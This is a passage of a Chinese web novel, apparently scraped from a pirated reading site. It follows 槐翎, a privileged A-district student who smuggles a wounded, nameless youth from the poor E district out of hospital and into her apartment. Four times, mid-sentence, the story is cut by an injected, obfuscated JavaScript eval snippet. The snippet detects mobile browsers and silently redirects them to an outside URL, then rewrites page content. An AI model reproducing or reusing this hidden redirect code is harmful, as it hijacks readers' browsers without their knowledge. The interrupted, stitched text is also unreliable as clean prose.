但是事到如今,还在想这些又有什么意义呢? 他的大脑一片混沌,各种回忆如潮水一样涌入,最后只剩下一片幻影,那个冷静又甜美的声音鬼使神差地又出现了。 “喂,你听到我说话了吗?” 他并未有任何回应,明明只是一面之缘的路人,在弥留之际竟然只能回想起这个… “嘴上说着不要管你,可是你死死抓着那把沙土,这到底是什么意思啊?” 有点吵,但… “要是不想死的话就直说啊,我真不是什么坏人。”她絮絮叨叨着。 “现在有空吗?可以来一趟E区吗?对…就是那个E区。” 在说什么啊? 他用尽全力睁开了眼睛,映入眼帘的还是那张扬的红发,和那张漂亮得无法忘记的脸,他记得不久之前这个人应该是离开了才对。 “喂,我问你,这次要好好回答我,你想活下去吗?” 她郑重地说,认真得像是在为她的未来做选择,可是对她来说,自己明明卑微得如同尘埃。 她问完之后并不急着得到答案,只是静静地直视无名,微微皱着的眉头无处不在表达她的焦虑。 他低头看向自己的左手,他还真的紧紧抓了一把沙子,尖锐的沙子刺破了他手心的皮肤,他浑然不知,任由血液和沙土凝在一起。 他努力控制自己的左手,手指的力气终于被抽走,只见在沙子之中,一株小小的野草正顽强地生长,它是那么的翠绿,在这个混乱不堪的世界里,依旧拥有最原始的欲|望——生存。 他抬头看向槐翎,此时的她就像是一束强势照进他灰暗世界的阳光,带给了他新的希望。 “我想活下去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161039|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' * 槐翎站在病房窗户前,不久之前,浑身是血的无名被送进医院,因为情况危急,直接就在急诊室进行了抢救,期间她能听见仪器提醒了数次心脏停跳,医护人员紧张又急切地对他进行心肺复苏,持续了数十分钟后,他的情况才稍微稳定下来,又因为伤势过重,只好进入手术室进行紧急手术,这样一趟折腾下来,已经花了有五个小时。 手术结束的无名还在昏迷当中,紧接着就被送入病房,在得到了良好的照顾后,主治医生才松了口气摘下手套和口罩来到槐翎跟前。 在认出了主治医生的身份后,槐翎装作表面淡然地看向医生,眼底里是深深藏着的纠结。 “他身上的伤太多,可能会需要在这里住一段时间,不过他还年轻,恢复能力也不错,在此期间我会让人安排些补充营养的饮食。”医生的语气平稳,和槐翎说话的时候彬彬有礼,挑不出什么错处。 “明白了,谢谢,纪栖医生。”槐翎心不在焉地,她看上去远没有她的行为那样关心无名。 纪栖对这个有些疏远的称呼感到有些意外,但一想到他们之间的往事,纪栖也只能照顾槐翎的心情,他依旧还是那副温和的表情,最终为了改变一下现场尴尬又奇怪的氛围,纪栖转移了话题。 “马上就要天亮了,你一晚上没休息吧?” “我没事。”槐翎迅速地回答了纪栖,她身体确实很好,需要的睡眠时间也比别人少很多,听说只有他们家族有这种特质,在必要的时候槐翎可能一天只需要休息三个小时。 考虑到与纪栖的处境有些尴尬,槐翎主动挑起了话题。 “他的费用我会全部承担,麻烦之后把账单发给我,我也会尽可能多来探望他,之后的,之后再说吧……” 看着槐翎一脸欲言又止的表情,纪栖马上想到了槐翎的难处,他也敛起了温和的笑容,眉头蹙起,带着严肃的神情重复了一遍槐翎的话。 “之后?你要收留他吗?” 槐翎摇了摇头,但余光瞄到病房里的无名,她又僵住了。 “他来自E区,在各种方面上都会给你带来麻烦,你要好好考虑才是。” 他说的话没错,甚至是为槐翎做了考虑,但感觉到纪栖话里的冷漠,槐翎还是感到有些许惊讶,过去的他从来不会这么说话,槐翎原以为纪栖会支持自己,甚至为她出谋划策的。 “唉,我先送你回A区吧,就算这里是B区也不会那么太平,更何况你身份特殊,最好还是减少走动。对了,回去替我和叔叔阿姨问好。”纪栖不容分说地往外面走去,槐翎自知自己不能在这里久留,只好同意了纪栖的提议。 在坐上回去A区的列车时,槐翎脑海里闪过一些片段。 在那一天,她那任性又自我的行动,直接导致了纪栖被下放到B区,断送了他原本美好的未来。 纪栖应该很恨她才是。 5. 第 5 章 槐翎趁着回去的路上整理了一下思绪,很难说这一串行为没有酒精的驱动,她已有五年没有和纪栖联系过,这次也是迫不得已才会找到他,既然纪栖没有说什么,她也不必再庸人自扰了。 现在首先要考虑的是怎么处置无名,按照他的情况来看,起码要半个月才能恢复行动,在那之前还能勉强藏在B区,但是恢复之后呢?要放回E区吗?这显然更残忍了,以他目前的状况回去也是死路一条。 如果留在B区的话,B区确实和纪栖说的那样并不太平,激烈的斗争使得B区更为疯狂,无数人都挤破头想要获得进入A区的门票,而且槐翎也不能再麻烦纪栖,她已经害得纪栖够惨了。 如果让他来到A区……等等,这个念头太吓人了,虽然说槐翎可以多照顾他一些,但按理说槐翎没必要对这个人负责,她甚至不知道他的名字,也不知道他的来历,如果这是一场针对A区的袭击,很显然槐翎要背上一个大锅,对E区所有人都抱有怀疑才是正确的。 槐翎在心里默默骂了句脏话,老实说她有些后悔了,这样冲动的行为真的会给她带来不少麻烦,但转念一想,她实在无法看着一个可怜人去死。 她迈着沉重的步伐走进特雷斯学院的大门,幸好槐翎在过来的路上快速换了校服,不然以她的“人气”来说,估计又能引起一场风暴。 原本走在前方的学生还在嘻嘻哈哈的打闹,在有人提醒槐翎来了之后,他们马上噤声,并且为槐翎让出了一条宽敞的道路,对于这样“优待”槐翎早就习惯了,她面无表情地走上这条为她准备好的道路,径直往自己的课室走去。 特雷斯学院是综合性的学院,囊括了中学到大学的课程,因为是由先帝创建的,整个A区的学生都会选择特雷斯学院,这也使得特雷斯学院成为整个国度最尊贵的存在,不过又因为没有竞争力,学院有着超乎寻常的古板与落后,并且背面里学院自己也依照分区给A区的学生分成了不同的等级。 父母的职位越高,与皇帝的血缘越亲近,那你就能更靠上一点,残酷却又现实。 老教师晃晃悠悠地来到课室,和往常一样让学生翻开书本,槐翎打了个哈欠,她不喜欢这个教师,也同样不喜欢这个把她困在牢笼里的学院,于是她用力地站了起来,椅脚碰到了后方的桌子发出了刺耳的声音,不过槐翎身边也不会坐什么人,这个举动除了惊到了同个课室的学生外,并没有人受牵连。 她头也没回离开了课室,老教师只稍稍抬眼看了一眼发生了什么,就继续沉浸在书本里去,这样的事情不是第一次发生,大家都已经见怪不怪了。 槐翎站在走廊上,她低头点燃香烟,那些人的眼神真是,即害怕槐翎,又瞧不起槐翎,恶意都快满溢出来了。 烟雾像是给槐翎添了一层面纱,她独自抽完一根烟,心里的烦躁没有减少半分,相反让她感到更加焦虑,因过于焦虑,手部都不由自主地出现了细微的抖动。 “阿翎?”不远处传来了一声惊呼,槐翎抬头看去,只见一个身材瘦削,长相颇为秀气年轻男性站在那里,他身后跟着两个女生,她们的眼神在看到槐翎那一刻起变得有些锐利。 槐翎把烟头扔进垃圾桶,她整理了一下表情,努力挤出一个笑容,而后用虚伪又甜美的声线回应了这个呼唤。 “堂哥,你怎么来这里了?” 被唤作堂哥的男性很是高兴,他甩下身后的女生快步来到槐翎身边,伸手摸摸槐翎的头顶,槐翎握紧了拳头强忍着没有避开他的触摸,她的表情也并未表露半分内心的厌恶。 “我带新生来转一圈,阿翎,你要不要和我们一起?上课很无聊吧?”男性笑眯眯地说道,和其他人不一样,他纯净得像是没有任何心眼。 槐翎装作为难地摇头,又故作轻松地和堂哥开起玩笑。 “什么新生啊?上次的女孩子你不和她来往了?堂哥你真是喜新厌旧啊。” “哪有哦,这次真的就是普通的同学关系,毕竟我是学生会长嘛,总得负担起责任不是?”他完全没有听出槐翎语气里的冷嘲热讽,有些羞涩地挠挠头。 真是连作弄的价值都没有。槐翎冷眼看着堂哥——不,应该叫他槐雾比较好,作为当今皇帝的不知道第几十个儿子,他是儿子里面最不起眼的那一个,成绩一塌糊涂,勉强靠着父亲的威名才没有挂科,平日里最喜欢和女性厮混,至今都没有得病可以说是医学奇迹,又把学院的学生会当成了自己的玩具,学生会长这个头衔谁都不在意,他却当成了个宝,毕竟除了身份之外,他什么也不是。 槐翎熟练地应付了槐雾之后,他终于带着两个女生离开了,那些锐利又带着恶意的眼神就像尖刀一样刺在槐翎身上,这样的画面她看到过很多次,这些女生在几天后就会消失,新的女生就像玩具一样填补她们的空位,然而她们还是会露出那样怪异的眼神,就好像被替换的那个人是槐翎才对。 接近中午的时候,槐翎的手机收到了来自纪栖的消息——无名已经醒了,他们也为他做了检查,这个人有着超乎寻常的恢复力,恐怕过几天就能离开医院了。 人在濒死的时候会爆发出前所未有的力量,槐翎是这么相信的,她思考了片刻,决定即刻动身前往B区。 离开学院的路上并不太平,槐翎的形象很吸引人目光,她没办法做到不留痕迹地离开,但是她也用不着和其他人报告点什么,在快速地穿过大门后,槐翎跟寻着昨天一样的出逃路线,快速地越过栅栏走向列车站。 她身上还穿着特雷斯学院的校服,此时显得格外引人注目。 * 纪栖在为无名做了详细的检查后,下意识地对上了那双漆黑深邃的眸子,他不理解槐翎为什么会救这样的人。因为过于瘦削,无名的眼睛显得更大了,乍一看甚至有点骇人。 再结合他E区的出身,纪栖自己偷偷地为他做了检查,虽然结果显示他并未沾染任何违禁品,不过纪栖还是说服自己与这样危险的人保持距离,毕竟很难说无名会不会做出什么危害生命的举动。 面对这样明目张胆的防备,无名只静静眨眼睛,并未言语。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161040|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪异的气氛直到槐翎到来才被打破,纪栖离开了病房内部,根据报告内容和槐翎一一解答了起来。 “明白了,谢谢。”槐翎点头,对于这样的进展她还是颇感意外,原本还以为这小子撑不了多久,纪栖也提出过可以帮忙处理身后事,如今看来是有点鲁莽了。 槐翎原本也在路上好好思考了一下无名的去留,虽然很残酷,最后槐翎得出的结论只有一个,那便是让无名康复后回到E区。 之后他们就再也不会有交集,这也是最稳妥且最合理的办法。 不过槐翎知道这种话还是挺难让人接受的,所以在过来的路上,她悄悄打了个腹稿。这种消息早点说也好让人有时间接受,于是怀着这种宣判的心态,槐翎才敛起了一如既往的微笑来到此处。 理论上病房不可随意进出,但凭借槐翎的特权,她还是得以顺利地进入病房,无名沉默地看着天花板,扎满了针头的手纤细又苍白地平放在身体两侧。 “你恢复得还挺好的,也算是大难不死了吧。”槐翎按照计划,虚伪又得体地寒暄了两句。 无名的目光落在了槐翎脸上,又像是看见了什么不该看的东西后,他很快地转移了目光。 ——对了,有个什么规定来着,槐翎突然想起来,好像说是B区以下的人员不得直视A区人员,所以这种反应再正常不过了,槐翎倒是没想到E区人也会这么遵守这个规定,毕竟那天E区槐翎丝毫没感觉到敬意。 在结束寒暄后,槐翎打算直接切入正题。 “如你所见,我和你不是一个区域的人,漂亮话我也不多说了,你是个聪明人,应该明白我的用心吧?”槐翎顿了一下。 “等你康复后,我会让人把你送回E区,你不用担心医药费,我好人做到底会全部负担。” 无名的手指动了一下,他似乎一点也不惊讶,伸手取下了脸上的氧气罩,用沙哑的嗓音给予了回复。 “我明白了,谢谢。”他回复得很干脆,倒是让槐翎有些意外了。 还以为他会难过呢,这个人说不定是很老实的类型? 这个反应和槐翎想象并不一样,她之前做的准备也完全没派上用场,虽说对于槐翎来说这是最好不过的回答,但她还是不免感到有些矛盾。 不过既然他这么配合,槐翎也没什么好说的,原来用来安慰的话语全部咽进肚子里,她露出个得体的微笑,也懒得多留一分钟,转过身去便要离开,在转身的那一瞬间,槐翎能看见他那深邃的目光,虽然没有落在她的身上,却好像看透了一切。 这种感觉就像是抛弃了什么似的——于是槐翎像是要逃离这种空气一样匆忙离开了。 纪栖等在外面有一会,他自然是听到槐翎说了什么,脸上露出了温和的笑容。 “这个确实是最好的办法了,你已经为他做得足够多了。” 不知为何,这句话就像是一根刺,狠狠地刺入了槐翎的身躯,让她浑身都感到不自在。 槐翎回头看了一眼纪栖,她嘴唇动了一下,没有任何音节发出来。 6. 第 6 章 空荡荡的公寓里没有一点声音。 槐翎站在落地窗前,她没有开灯,也没有发出任何声音,只俯瞰着楼下车水马龙的景象,她住在最高的公寓里,像是看蝼蚁一般看着地面的景色。 她已经获得了地位、金钱、权力,没有什么不是唾手可得的。 这层公寓是奢华的代名词,是多少人奋斗十辈子都得不到的住所。 但是她的手机通讯录只有四个名字——爸爸、妈妈、管家和堂哥,只有血缘关系与雇佣关系,通话记录里除了他们之外只有一串未被备注的号码,那是纪栖的联系方式,这个号码她还是找管家要来的,如果不是管家的话,恐怕纪栖不会想要存有自己的联系方式吧。 爸爸妈妈他们有自己必须要做的事情,平时不能直接联系,而堂哥的联系方式是他强行要求存下来的,但也仅限于存了联系方式而已,他们从来不会有过多不必要的交流。 讲来讲去的,不外乎都是些不怎么重要的邀约,一会是要去哪个酒吧玩,一会是要去哪个派对,槐翎不理解他为什么总爱去这些场所,吵吵闹闹的消磨着时间,实在是没有任何意义。 信箱里的信息也只有来自订阅商家的推销广告,或者是公寓的物业报告,提醒着自己并不是无人在意,但是这不是只属于她一人的信息,其他人也能得到。 但是这种关心到底算什么啊? 她感觉一股无力感从脚底升起,这样的局面不是她造成的,但她的任性妄为也确确实实推动了。 如果可以选择的话,她也不想变成这样,虽然可以安慰自己站在顶点的人总是孤独的,但不管怎么说人是群居动物,也会有社交的需求,她不是机器人,自然是也有交流的欲望。 然而事实就是,她只能一个人站在这里品味孤独。 以至于,槐雾向她发来邀请的时候,槐翎没有像过去那样拒绝他,而是在寻求什么慰藉一样,登上了去往酒吧的车辆。 * 她让人把自己送过来,夜晚的A区平静得像是在沉睡,大家都蛰伏在各式各样的场所里,就跟穴居的动物在寻找庇护一样。 槐翎对这个来过几次的酒吧有印象,她轻车熟路地找到包厢,然后推开了门。 包厢里人不少,大部分是学院里学生会的成员,槐雾抱着之前遇到的两个女生之一,这样的画面让槐翎感到似曾相识。槐翎的目光在女生的脸上转了一圈,甜美但不土气的脸,好像堂哥比较喜欢这种长相?她记得之前也有见过这样长相的女性在槐雾的身边围着,只是没过多久她就消失了,槐翎甚至没能记得她的名字。 她找了个角落坐下来,刚一坐下槐雾就抬手让人给槐翎上酒。 “来,阿翎,你别老是在家待着,多出来玩玩。” 槐雾自以为很友好,他热情地招呼槐翎,看着混着好几种酒的液体在杯中摇晃,槐翎还未喝下去就觉得有些犯恶心。 槐翎是不想喝的。她盯着酒杯,迟迟未张开嘴巴。 “怎么了阿翎?你看上去心情不好。”堂哥红着脸问,他面前的酒杯已经堆成了山,一张嘴说话就往外泛着酒精的臭味和烟味,明明才二十岁出头,他的脸却看上去因为长期沉迷烟酒色|欲而变得浮肿。 槐翎抬头看了眼槐雾,曾几何时她也觉得堂哥是个不错的人,如今的他却变成了一头臃肿的猪,实在是让槐翎无法理解。 偏偏这个人……外面都说他最像他父亲。 槐翎不想在这个时候想起那个人,她摇了摇头,试图把不好的记忆驱散出去,在下定了决心后,她最终还是接受了槐雾的要求。 “没有。”槐翎一口气喝下酒,酒液辛辣,灼得她喉咙有了疼痛感,很快让她的胃也跟着烧了起来,她酒量很好,从未醉过,不过和眼前这些人喝酒,并没有让她获得预想中的快乐。 这些混了的酒最容易醉人,有些酒量差点的人甚至能直接喝去医院,也就槐雾喜欢玩这些把戏,毕竟劝酒这种事是最容易体现出一个人权力的,况且还能冠以“玩玩”的名头,实在难以让人拒绝。 她早该意识到的,现在的槐翎不由地开始后悔起赴约的决定。 看到槐翎喝下酒,堂哥也跟着高兴了起来,他站起来摇摇晃晃地举杯,因为动作幅度很大,酒几乎洒了一半,好几个学生会的成员也跟着堂哥的动作站起来举杯,槐翎努力辨认他们的脸,不过好像又换了一批人,每张脸都是陌生的。 想接近堂哥的身边也不容易,槐翎记得他身边有一个秘书专门做这种事,筛查那些靠近的人家世如何,人生的简历是否足够完美,但凡有一点瑕疵都会被踢出圈子,即使父母的职位再高,只要让堂哥不开心了,他也会被毫不留情地判定出局。 而槐翎很“荣幸”地得以保持在这个圈子里有两年了,虽然她本人什么都没做就是。 包厢陆陆续续又来了不少人,槐翎都记得他们是什么人,什么部长的儿子,什么会长的女儿,来来去去都是这些大同小异的人,带着面具一样围着堂哥阿谀奉承。 和动物一样呢。槐翎托着脸,心里下了个结论。 A区好像和E区的那些猴子也没什么不同。槐翎突然想起来之前在E区看到的东西,散落的泰坦,飞扬的沙土,还有混着骨头溅出来的血液。 “阿翎,怎么一个人闷闷不乐?”有人大着胆子接近了槐翎,他手里拿着酒杯,透明的酒液最是危险,槐翎一眼便看出了他心怀不轨。 这个人槐翎不认识,他恐怕也不怎么知道槐翎是怎样的人,不然他也不会这样来搭讪,有点情商的人都知道槐翎在A区最不好惹。 “因为你在这里吧。”槐翎露出微笑说出了伤人的话,她饶有兴致地看着那人脸上的表情从兴奋变成了尴尬,整个人都僵硬得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161041|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知所措。 “别来跟我搭话,你还不配。”槐翎用甜美的声线继续说道,她声音不大,却让原本热闹喧嚣的包厢变得别扭又安静。 “怎么了?你惹阿翎不高兴了?”堂哥注意到后立马嚷嚷了起来,他喝了不少,脸都红得跟猪一样,一边骂一边站起来指着那人的鼻子,他口沫飞溅,虽然表面上是在为槐翎出气,实际上更像是在欺负这个人。 “对不起,我不是故意的,请不要赶走我!”那人立马扔下杯子朝着堂哥跪了下来。 愚蠢,跪也要对着我跪啊。槐翎心里的烦躁更浓烈了些。 这样的把戏实在没什么意思,每个人都像是在扮演自己的角色试图讨好包厢里的王,那藏在面具后的嘴脸说不定也在嘲笑着槐雾的愚蠢,这样的戏演出来真的会有人觉得有意思吗? 她不想浪费时间看这些戏码,随即翻了个白眼,站起来就迈开腿要走。 “阿翎,要走了?”堂哥根本不在意跪下来的人,他伸出手想要抓住槐翎的手,却被槐翎灵活地避开了。 “我有作业没写。”槐翎随口编了个借口,她抬腿从那跪着的人头上跨过,而那人正在瑟瑟发抖,大概明天他父母的职位就会被撤下来了吧,取代他的人又会是谁呢?槐翎并不在意。 “哦,那你回去写吧。”堂哥那早就失去思考能力的大脑根本无法分辨出槐翎的谎言,他虽有些失落,但还是抱着怀里的女生不撒手,女生的笑容勉强,而后避开了他的触摸,灵巧地往他嘴巴里塞了块水果。 槐雾也不知道是什么东西塞到自己的嘴里,他嚼着嚼着就吞下去了,看上去心情稍微好了些。 这样污浊的空气和虚假的画面,想从这种地方寻求交流,怎么想都是错误的。 槐翎离开了包厢,她站在酒吧的大门前深深呼吸了几下,除了酒味、烟味和昂贵香水味,什么都没能闻到。 为了压下心底的烦躁,槐翎点燃了最后一根香烟,在把烟吸入肺里的那一刻,她换来了短暂的平静,在升起的烟雾里,她想起来病房里的无名,那纤细苍白的手腕,虚弱至极的呼吸,如同深渊一样深邃的目光,还有他那不带有任何情感的回答。 她的眼神晦暗不明,在这里喝酒还不如去医院里探望那个人。 抽完烟后,槐翎把烟头扔在脚边狠狠地碾碎,她突然有了一个疯狂又大胆的想法,要是让其他人知道了,他们一定会充满不解地看向槐翎吧。 尤其是槐雾,他一定会大吵大闹。 那要是让那个人知道了,他会不会很生气? 她不愿再想,这样畏手畏脚的她,不是真正的她。 槐翎就是槐翎,她向来都离经叛道,只为在污浊中寻求一丝新鲜的氧气。 在想清楚后,她头也没回就奔向黑暗,在黑暗的深处有着开往B区的列车,而她的私心也将会得到满足。 7. 第 7 章 槐翎曾经在网络上见过流浪的猫狗,它们大都肮脏且伤痕累累,这种动物生来就容易得到人类的喜爱,所以这种类型的视频总是会很受欢迎,槐翎从未接触过真实的猫狗,以至于她无法说清自己对它们的感受。 手上的它们固然很可怜,但槐翎极少产生怜悯之心。 在人类的绝对统治下,动物的牺牲与被动让步是必然的结果,而民间能做到的事情也极为有限。 然而当槐翎真正站在病房前,看着沉睡的无名时,她头一次地觉得这个人非常的可怜,以至于让她有了想要帮他一忙的冲动,这种冲动折磨着她,最后变成了一个执念。 深夜的医院静谧得像是与世隔绝,只有值班的护士在护士站内随时待命,槐翎不想惹什么麻烦,换下学院制服的她十分简单就融入了人群,恰好今天也不是纪栖值班的日子,她得以顺利地干点坏事。 她记得病房的密码,也记得护士巡视的时间,于是很轻松就能混进来。 病房里只有机器运作的声音,无名已经进入了深度睡眠,能够听见他的呼吸声,很低又很微弱,好像随时这个呼吸就会消失不见。 槐翎伸出一根手指,轻轻地用指尖触碰了他的手背,粗糙又冰冷。 下一秒悠长的呼吸声消失了,在黑暗的房间里,槐翎看见他睁开了眼睛,他虽带着不解,却并未轻举妄动。 槐翎站在他身侧,在机器嘈杂的运作声里,她的声音甜美得就像是梦里的恶魔,不把你的灵魂勾引至地狱就不罢休。 “你想不想跟我回家?”说完后,槐翎侧目观察起无名的反应,他先是一愣,而后迅速地避开了槐翎的目光,他原本冷静的表情也出现了和过去截然不同的动摇。 见无名还未表态,槐翎继续用甜言蜜语诱|惑道,“反正你也知道了,我是A区的人,反正生活是不成什么问题的,只要你想的话,我可以带你去上学,带你去玩,我自认为是一个很随和的人,也不会要求你做什么奇怪的事情,不管怎么样,这都比在E区要好吧?” 在槐翎说完之后,病房陷入了长久的沉默,在不知道过了多久后,无名终于直视槐翎的目光,那漆黑如深渊的眼睛终于有了些许光芒。 “为什么是我?”他声音低沉,带着几分不可置信。 槐翎倒是没想那么多,她沉吟片刻,最后只想到一个答案:“命运吧,从在E区发生的事情到现在为止,你不觉得这都是命运安排吗?” 命运啊……无名深深地闭上双眼,这一系列不合常理的事情,确实很符合对命运这个词的诠释。 “怎么样,就当做自己中了个亿分之一的大奖,不管怎么想你都是赚了吧?”槐翎靠在床边,她神态放松,处于上位者的威严并未减弱,反而流露出了只有这类人才有的自信。 她知道无名不会拒绝,也知道自己绝对会达成目标。 无名轻笑,“反正会去参加猴戏的人,都是赌上自己性命也要改变命运的亡命之徒,你是这么想的吧。” “当然,不然你那么努力是为了什么?” 无名藏在被子下紧紧握着的拳头悄然松开,他吃力地撑起上半身,这下总算不用仰望槐翎了。 思考再三后,他像是终于说服了自己。 “我确实想要改变,你说的没错。”他伸出手,向槐翎表达了友好。 而槐翎并未错过他眼底的戒备,她一点也不在意,而是露出微笑,回应了无名的善意。 “不过首先,你的名字得告诉我是什么吧?” ‘’我没有名字。”他摇摇头,从他的神情来看倒也不像是说谎。 虽然槐翎很想说一般人都会有名字的,不过又想到无名来自E区,在那个混乱不堪的地区,什么事都有可能发生,一个小小的名字倒也算不上什么。 “那我给你取个名字?”槐翎睁大了眼睛,她的语气里满是雀跃,这种情况下实在是让人无法拒绝请求。 无名点头,他静静看向槐翎,尽管被黑暗包围,眼前这个人却好像自带光芒,在黑夜里熠熠生辉。 “小久,就叫小久,怎么样?”槐翎笑眯眯地说道,无名知道,就算他说不的话,槐翎也不会认同的。 “好。”小久迅速地接受了这个提议。 槐翎难掩兴奋,她立马给管家打去电话,虽然已是深夜,但管家还是迅速地接听了电话。 “给我备一辆车,嗯,现在在B区的中心医院,还有明天让家具商去公寓一趟,这件事一定要和其他人保密,全部刷我的卡,还有,我们家庭医生的电话是多少?你晚点发给我……车到了?好,我现在就过去。”槐翎迅速交代好了事项,她回头看向小久,小久也心领神会,他悄悄取下连接在身体上的仪器,只穿着病号服的他稍有吃力地离开了睡了好几天的床铺。 不用多久护士就会发现仪器的异常,他们两个得尽快离开这里。 然而等槐翎刚踏出病房的那一刻,巡视的护士就在走廊的尽头朝病房走来,她心里暗骂一句,从走廊过来也不过两分钟的事,她看着跟在自己身后的小久,比自己还矮,身上干巴巴的没有多余的一点肉,弱得像是要随时倒下一样。 槐翎只好把心一横,她伸手抓向小久的腰,而后轻松地把他扛上肩头,小久的惊呼还没脱口而出就被槐翎用另一只手阻止了,她的体育课成绩很是耀目,闲暇时刻也没少做力量训练,现在的小久说不定还没有槐翎平时的杠铃片重。 槐翎健步如飞,迅速让自己的身影融入黑暗之中,小久被高高地举起,原本就脆弱的心脏在此刻跳得如响雷,他下意识地抓紧槐翎的肩膀,生怕自己被甩下去,不过出乎意料的是槐翎的体能好得不得了,扛着一个正值青年的男性也气息未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161042|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有紊乱。 她三步并作两步,绕到了医院的防火通道,顺着楼梯下到了停车场,小久被颠得五脏六腑都要呕出来,此刻脸色发白,不过他只是紧紧咬着牙关未有做声。 小久抬眼就能看见一辆黑色的豪华车辆停在不远处,这辆车乍一看设计并不亮眼,但再接近些就能因为车身的细节而感到震撼,那是只有最高级别的人群才能负担的奢华及低调设计,大气又不失格调的气质才是这个群体所最钟爱的。 站在车前穿着定制制服的中年男性在看到槐翎后仅有一瞬的惊讶,很快就因为多年沉淀的职业素养主动迎了上去。 “小姐,请放下来,我帮你送上车。”他伸手就要接过小久,却被槐翎轻轻地避开了,而后槐翎轻声笑道:“怎么,你以为我扛了具尸体?” 她的语气亲昵,但不过分亲密,小久暗暗想着,他们之间许是认识很久了。 男性的手僵在半空中,看来他确实是这么认为的,但是小久觉得更离谱的是——他竟然会觉得槐翎带一具尸体走这件事可以接受。 槐翎松开手,小久虚浮地重新站到大地上,他小心翼翼地观察中年男性的表情,只不过男性并没有什么表情波动,只是在轻咳一声后为槐翎打开了车门。 小久不敢轻举妄动,等槐翎坐好后才跟着男性的指引去另一边车门上车。 车内很宽敞,淡淡的梨木香味在鼻腔若隐若现,小久紧绷着身体地坐在槐翎旁边,他不敢乱看,也不敢乱动。 “小姐,我们是要回哪里?”中年男性回到驾驶位,看来他就是槐翎叫来的帮手。 “先回公寓,把我上车前一个小时的车辆记录删掉,我不想节外生枝,之后你把车留下,我最近要用车。”槐翎揉了揉肩膀,又把关节活动得咔咔作响。 “好的。”司机点头,车辆很快便驶入了黑暗,隔板在车辆内部升起,只有窗外的路灯在经过车窗膜的折射后浅浅映入车内。 “他是我家的管家,是个非常有职业操守的家伙,我一般叫他宏叔。”槐翎主动地解释到,她不是没注意到小久的不安,但这份反应着实是有趣,让她坏心眼地装作没看到,只为多欣赏几分这样的新奇。 “谢谢。”小久礼貌又顺从地回答。 槐翎勾了勾唇,并未回复,她好整以暇地用目光扫过小久的脸庞,小久侧着脸感受着这样的审视,她的目光是一种凝视,是上位者凝视下位者的眼神,那么的赤|裸,不带有任何情|欲的,却让小久有了自己被剥|光站在聚光灯下的难堪。 幸好,这样的审视并未持续很久,等槐翎移开目光时,小久后知后觉自己出了一身薄汗,他是害怕这个人吗?不,不是的,他从槐翎身上久违地感觉到了善意,但是这份善意却让他感到彷徨,迫使他不得不去思考,他到底要怎么做,才会让这个人再次露出会心的笑容呢? 8. 第 8 章 槐翎的公寓并没有为外来人做好准备,除了具备基本功能的主卧和客厅之外,整个公寓基本上可以用乏善可陈来形容。 槐翎只好暂时让小久在客厅将就一晚上,当初购置的大型沙发也终于派上了用场,碍于小久身上的伤势无法进行冲洗,槐翎只得控制好面上的不满,又在自己的房间角落里好不容易找出一个全新的毛毯。 小久拘谨地与槐翎道谢后便安静地坐在沙发上,他知道自己的身份,也知道自己该做什么不该做什么,这个时候听话顺从总是没有错的。 现在已接近破晓,就算是槐翎也会觉得有些累了,她没有了心思去搭理小久,只给小久留下了一个背影,而后被上了锁的房门彻底隔绝起来,从门锁处传来的“咔哒”声就像是一声警告,让蜷缩在柔软又温暖沙发上的小久心底荡起了涟漪,他轻轻地弯了弯唇角。 从落地窗处折射进的阳光驱散了高层公寓内的黑暗,太阳再次升起,不知道何时槐翎就站在窗前,她再次俯瞰这片大地,E区在这片大地的最边缘,无法用肉眼直接观察,而B区林立的高楼把一切都隔绝开来,只余下繁华昌盛的错觉。 身后的沙发上,小久早早注意到了槐翎的到来,他裹着毛毯,漆黑如墨的双眼似是在注视槐翎,又像是在注视远方的景色。 